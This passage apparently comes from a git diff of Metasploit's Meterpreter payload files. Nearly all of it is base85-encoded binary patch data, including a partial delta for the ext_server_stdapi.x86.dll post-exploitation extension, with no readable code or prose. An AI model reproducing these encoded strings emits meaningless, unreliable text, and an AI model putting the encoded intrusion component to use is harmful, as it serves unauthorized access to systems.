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 diff --git a/data/meterpreter/ext_server_stdapi.x86.dll b/data/meterpreter/ext_server_stdapi.x86.dll index 609b5a80854934334169be8dd5d740c242579527..0a40e582b82443aa60b3bd29bf249ec9bd794636 100755 GIT binary patch delta 39693 zcmafc3w(^n*Z)2`im#+H(w<*cJ9uCY?zqsB( z39r8%0~~hL<$AYcf?s@HrNm!S^7GUZB^^(_>cE#3JnGe#jiN4<{ogyGO)8vG8JjD%6E-Q20nNi{lHK1+gHRxMVm;zeBDKeg%}3iOkIk^s zD%CEzE9oGulP8jP?e8Pp;9tB-72j#j)akQcR;d!YA_CQ^qJUQ(`Iz*R4y)gA>eIv) zl^c3ct;-(}L(dv`V>3}%^wlP{xgd&OG^RSKbq4;|5`}3lFqr&lm2o_n$-E3qlmC&! zje?|z|0rbN;ui|ZQ3_dSXDWrrYFAtPCiw$nP{jf@s>mDPJA%*8L5b@8fuiCSN}g$g z<9{Sv+g|$bU7IPOy67)zzO(nG07cUt8k>ZwFMqM{lUu2iH=;%ktpVMRk^mKG9* zihk=ZD)PwJSE8b(N<~ITMd}6>$@kI*Nm{w%*v`_uBNN8HE)8>;qf(itR;!BC!Ks9( zlJoS>coKNVYc5KthU-PBr3xWSDUTL`>mmwG=pX`LA%M=YRB=DqXMB*fPwq87(6Hil zmCB?_5)Ix0(tO@~(!|IDdqa~f6ST=GNqn@3n5wOMi6QEd{6&XW&} z@0{HTEJvXMBCn&+3HIL8B_&%jwJFK`tJx}5q^)&Ub?dCE+Gas?-`djA#v1NcTfEX@ z8?vA{OI1u(O~%-mtY;Zxavx_TCi4ry=B-Agc_ggUXYQRujdBi4Hq@493Tfy?4P{^#hA})g+P-awoi&8P%<}xZ&D?TLC98; zG#CVPWuRTFc@&}?^(*5TY2%B*Qe+T}Qa(qN;|Fo_^<~htnc+fn{c>+*YEWVMGWqVr z4%wwMRZxR_#&3jf@XJbw8%veYNhMTiS0etg5~?!ZRN}TNp=w2qlKEPM%;yK$GHZu&QruM$ggWFQnQvS6Yz5puFTprE=8Ph;OVRXT`mo2}+!kpUVqp-==Sh}=rr#Ka_M zhn82ornKmpMrl#xElXA2gc{xrVx*;E*yTo(J#`Er5}I&BtSR;>oWzH}D*8}aM<;`GATp zDcCLL$|*jnJ=Wo4qfa(T{_qErP zr@xn5;J%bUx7mzKQHg-G4NyR0d;Lbd)Xg25%~VGj)K=Ti_-0&yNI6i9+Vf#L7%7u1wY!>_y1nEl z(}RPGMT~u=zXMWiWw0xhIetPN50(B(?lWVYG){hRMwk>YU!2j}Ck@($#^hx_i^mwD3ix4S;m8`JA(k^a1xX7l&r^*NHa z{N(jkQmEW=&i5KUaEY zPo@IqeI2|S2M?Hclsz&AO1|>=j6Cm^M6}M5rOUOsFP()zin8t{$p2>eN`vK=nFFL! zIX!c%lqG+j86)+V|H=&X?SL*Yx+8IZ?&5!y0lS!+140F@kC^M@S%oe$rekWP*gOlc z`ibdsTb?x6tMLWI#OQCkFFh$|&-EYv9)jjmYeZJ}rK=DysZ4|N^=k~aV}hAv`xg5B zrn^;NY~aIOv3>}HBf}^d&=L$vNs`TTkR)oz7%G>~ZPmH0X}lP!>%N#CX_n&LOBo&( zz4stPeqRZ;p9fEc=os9{g8bQ13g07lnb!?=?JM(od#-N|P0r7Kp_3QOpUrD6O_FcV z8!VN}ZRgK%TcT|79{p{ZmAtFGdw$0@|BhDF`aD)v`%-P=L&l)}7afdJ9xMMfzjOBI zNN1lTb!Nz3upG*HN{O|bA^&N%y>72TOkWt6*a`~3FkY=)$`6asHG8Or?-HTw_E0t7 zfDl$g^Z7t|=bJI(D1ynxc_=7_|DB{v2VonHL#H}6rxgAp_>Rd{ZBJ5fq1iX517Kq! zi(+b9{7;hHoDlbRo| zmSDzX9T}3Zzimh^(%<%jR`A_mV~E2n6Q0FP;F(Q@JtaCkg{zfnv`T8eR4#w3z4pqe zx(3{p0~WOQSOdm?$a_alTF}XDqLNY(_l;5V!5tnR9sfJ&Tk`P*owQFA>xN1vS1s^r ze+i8LDAWs?Eu}c@+{y?sehKk}CQ5SWg<a)KGvUaypMtX7ON~{Nt&Kdqfu`oDl z@+MSrCU08!RN5o2&l)EA%XhQdNiWHb7xk5P$-@?P*G?E&*Wfwwszm`IZNRWpMc#7A zmy(x>QmXlMupM3QzSLR1zQ{uwBmcUnqyI(palZbZ!T7k5Djs9cpNm1GG-$Na20zV!Gw)OTY*KBTdf8ZZm$DnBC_wHja{$QurHn1utEI z-Oe(h+L8$)M1{$Y>G{m&8Ldp_Oig(NqJ?HQFq<9^uNwnb`H$?(@p6cmAAuRigF>%flD9B<}>v#>FAT6fCb^>_>(L z%Lf*>jPCM6wvF}@Pbk^EUWi&}FY%-j^|X!r93_^uInr`Tj?^Jyh@y#{D$4_3jG(cc zDpub!PDSXx5>?8l$>+^|d~Xg`h9z0qr&D+lf{yuqTMk(29VCMR&G`#Oi0NI!=Ya9K zC>~~jIL>}0r!MW_oBU!i1M74V@s2F0cL->e4S5zKAgQRrF6n7`dTy9BM`pQgrRMVK+_vGlNP-2>qOU>O zee;GttJs7UX`KCJ3VUK;T`d&@W!*Bb4m-hdl&KtmA0cd)8|S^bBH#-PPaN{UlM|P9 z)g~(?C~L@T^6F)tu_5&Z*t;tO3`K3Q%%xVi7;K)yuqWCjNaoJ<`F-Udm$mG5eL%ec zs3i#T#y`byqW;~8Gd>cdDUN0?h*Hj;m9++Zh}>;?xOP5LIl3-ip0T`T=l)=rr`FWA zOA)I`|4ca0_;OLCC|__(^CnbrC;8a&wo*s=_VNhnitM(+FS|@HhDKKrVC&&HDQpF& zLYv|U1&Z>|YbVv7Z*map*w@x8Suu7FU(N}&sPt_wD3g6NNkD=IV^~!y*Glly(jspq zB_+vwSA_f63qqB`rI5@YCx|6eoISPjgB9M*3K4ElObu@)d*?++1@hp$C@D!^l-Eu= zFYn0<(0U@FqjSRKYk3~6f9d~1&MF>-6m>mP!;i^MZ?{Q0gj9|uT?B~*T&Sb{tZ26m zvtKNyhJOi$qB-bU3=^JTCTCs@>*pucr#WkDYRhl^qAKM+C-Ntjo1yu>>qf-!LWCds6MLpJ=byU@vVu zY(_=-P}&wbe`S|ezW-gCroJ?P`OZq8$gkqXwi;Q0UJwO9^()bCKO{5mw1=yB6A{{F z4^?xO9G0Ib<;x56`@9^0+_rgI;|GXL;yNXyGwxMFLya-xkFdlFho~GaX$N{T-q%LyIs)+uxktVXhpq!VMg2q7D zU0ov{Nex|Hj(+KaB#vg)_RAu9|EkbIPDwMKkHVVB zeyc;=HrD4n&|5KcUit5&N9DPzgFE)APdXYT#IGC56CRl5e6Z*WdworAC0nZ6Si=<*Mi#{Aqs)GZEp1WuOf2(xj|xv?0t&PzN3rV^wzf9A2eOM3 z#8)x)$)tEg!+(d0U|zW-^VaggbzXy;Bi6AtgenPfJg^ixT*b;5z&?D$Z%0Ef6;G^_ z$$4T$e?|E|=!t$xGTFom`H}3tKG5|;Boix@2Ht|6>;2)uPhIaNNf+f=8-_>+<a9_q)l9H@5H8xm&HgdQd_W>(tx8MYR~^=XV;9dG9C(>=H({3BZCVgD2gl0%+^U8${GsB9qH5LByH+imfQ8XW z;vrFTm)AV9e~d)8SBU{@ha?}tqv+{D)w(+W$5q5TR>gZD(SX`TQL$aNiR{X8HWl7^ zjcu+s-}EiCVs5zc6hunltC7GqH_CY0Rj6Q7)NY#_XFQ{XXq3tiL2sUgERGse_(Y{f z`1v#C+;`h%2OtP1rQ)obDPeuIm-~ufgI@zf*2R=k-WXA4IHMrH-D~v0ahpxVJ8CZK zYES8}Oy zC!2jcOhOXlInhbjCiqVg2o;KG$i@4Mxbyb7YJNffYjeBCGmk2by~nS}ZMOvVE`fe0 zCmC-jb5~Rjul@<}ELk;>s#MXEX&7r>{f#)Nn$JflH(SnW6?2k#n!IdFM9@lCNve2^re%OyG_6QqEmVQ;u(PX7R5_QObXCRM=4$e?aE~M3*&5$;#$mM2 zG8_g-b-upZV0=aH^!`dX@IQY)ja2_6du^Kqx8$;Iz5LvM5*w5<#m=c!xOEdQa79xq z!{r~hO_Vmvy|=f~&JV8>8@A>479M&qulR%p98U_L$8$-P-ny3osVZosZD2#gr6{aUL>zr~-ftKF zo21$<3RDI#!_B~t-$A$Jbrac5lD%wxR_?qj!o$@5zZ%{{eq+~gZA(NrCVnTmWLGHM zihu3O_fN)6I3~PsV6{ZQ)}Xk|XZ(JRnBCvW@9);b5BtmRNXbubxhJ$&X*x3yhU%vu-+Ccs-#@rN|uRkevxXTFO7S&*EJpv0Ej@n7MZd|md1DuZ^?g=DS zPIAefR?^3EC0I*j?+?04BjuqVv}@TeR8*iG@mpdNp)>=^H}D+U^1)T9u{>^Xbarxx zlE$31PKE20%ym5cJM@M{zY)_OUgrQ2GG|>=BCm0Gd$2?ame@RRK0m{i)Cv+ zcwZR96kcT;JMSQPR%2&{R|;Nk!KVfvwa#5%ELJvswT`Qv$qzpKxe08rLKCiD1k3%Y{NqP^ zq<`dP`**rjnZY^zB0Tr$d2Kbs=WK63f9g^e2> zT#OBkCK=P^kr#ZV*|O=vSR}Y`p&cpkksn-Wh1uNXVp*^~S&A_o$!%W?|DF4aEQ)c{ zSEX1q`D1EE8E4DQisl8T#$g$>>Fg=W(L=_CV)kBBs!1^#@(R?K z=RT7sTz^B_CSSk)sg!!e^3@%+KBFsSNynf30rL&XTo1$6xL5Gj3Er|5kPGZif~_RY zQIakM&qwgmBaw92kptguarR0_%_iuehR=t^B^Dw(&)WjN30+*SSa~YAMwEl2!_9Ep1~fJ4(wXZ|2cSN|N5U8aqj!(Wa?r?w{^D ze_cv$AIp z8yO|FmUdWQkCJqarPbCYy`{laTFFZKO1C^L_Euof$4!d7(zReBZ)dT7-cQPOk<8XE zL!=F)@nT0qr!2KzA11Y-QiS!dkAXg2ZC$!wGK5M`tl!*_hPX<SogSR?kP$-4@b0 zYfWR)uc>s%8tX@X^=%Z6u6pF27811)sPM+0Lo&}$ z(C(pEAGxP~fuNHgTOUoXH7I0e3<;8g**h_$ZRr1&&tBw@=wo9v+a66?u*WgvK!bwz z_f!hH+LN^X-vwwI`+@-XW0ibvasOAok#R5N3++WhAoz%0B>aD`Z$mHgV*@!C^;Yuj z>ivJ^tL*(kz8ig%eE;zSK7z&Za;FPL6$T9Nx%PZmO=GdS|yN+=(b-INZ%-j?!+Uy>E2?jQtqJ_QE<2a ztn~%`8K)=LP(b(q65I7Z6N++5P>v#(eAl3XM+W^54NR?XVDrH*R8Teef5r$mC3^xD7Z20*s*M4k=nAp zImF}=FL-fn+2I_rR|;X{7L&v7;s&hB{^Z5LyNqIfOGxWxV44E>V<4jq^7A2jHgXB+ z8VZKEP1#rB!uKb_X7lE|6@(l5aTOlPTq6?jcM{pYB_vo%VP7sGAzGv;QhAADMvY;% zC8Ud#%DR||k2Ho2Gm};bO*fMx0rOuLk_a>Yai({S{#izI?rabiTt;L5??~2bDM=rJ zFzV0nH$N|%`$aO?qPk`HTcpyW0vt%-;N_WM)VJv^ktol(;w~4rZuR`hBdrxn$xdf- zaspdpA#c0l-ofNGF)xCL4`U%KNvbr^x@aXCBoV8T73Y(7WbZ`wFrWAn*U3z`icHh$ z>l$`-Fk7;UgpkjsTKBCYlO-vEY1fbouKjC^%pAyWufdwtpV`)s_VxULfh_VJ(n;!P zo%{~Tm9XIRwZtGr#Mc$=mY`C(7FFmU573%3Vv_k-xQWDF#^tHvol4vkm|lGTnqilh!y}R1=KS%v0|n&XT3UQ-t*eO3rfOr?iju zU;Wtl^&~Lyn`xrk^D;FUSU3K$lE53IRZ(o7`b?G6N0k}Kg~QXH&GcM38$~=q9oC@LPfCWTS!==jIm0; zxxB%;Y$Y9~o@~-q($A$z)O>s#+q;zn_`tR3$eRrpD@Nxsj%gSjpN_0-E9oJ1WZv(S zAuX{G+OO~+&!s|~C!j-G1OI9PTkt;VqlI(MQHmv+U3{OsLl$JSv~46>ieziIk)A+T zwvq9qJezgcPJ*;u>(bYBXKCAsFY(S{bGMV>4PusbXIHlqZ?Zd^m2W5h9zSN|WT@9z zs@#v${Na^}27V>m>a&A*Q5L#~_-iXV)fM_TOWZ@ewMF%uuUY0EER`>@5B87%=@h%T zhoowo)yD_0un$Ods{y~^PF_sF3>Q2_#yi#){PT`=#TK!}ACS(vjthh`C{k2GiU3yd z0STqXK}Xo556Ii(lSM3hFX`W*^FpDm8p{H>S|=*BI{!5tl@66je+2 z!67AL4eKK-2N&YmGUXM|%B4njB# z;aP=5x2uTgET0jbj5jLTF961cT@jPa|K*F+zA!%X7Y;z6CoM`J- z_5}5QfC9xnKhAg(tBFZco?Hvp2-c~kPvB!sb|e%vi&>W84fh%U4l6}kn$2?;B+GL) zk5JnxS|;-kPGUgI3z5rQL-EX7#jD}t#T(yvF0KjO&uJB9$kIxgPQ1j#W?dvcE;*w4 zUq-Pt7fGn3WuIOoaqY(bYs1@`tb69?Qf4S#u?HvN0g8q<0pISJ{1!f{?ONtngq1_f zh7=LK)QqhuBCVzI>~In3N@`5(*CNu7?3uyBib>}VpFyU!shBWg;(0w@UPPQZgr>F^O67?m2#mRvWTT0ly+S;k3q;LJ*sUvMq%?yEuYPRi5;_Gci-{2ks3kmel 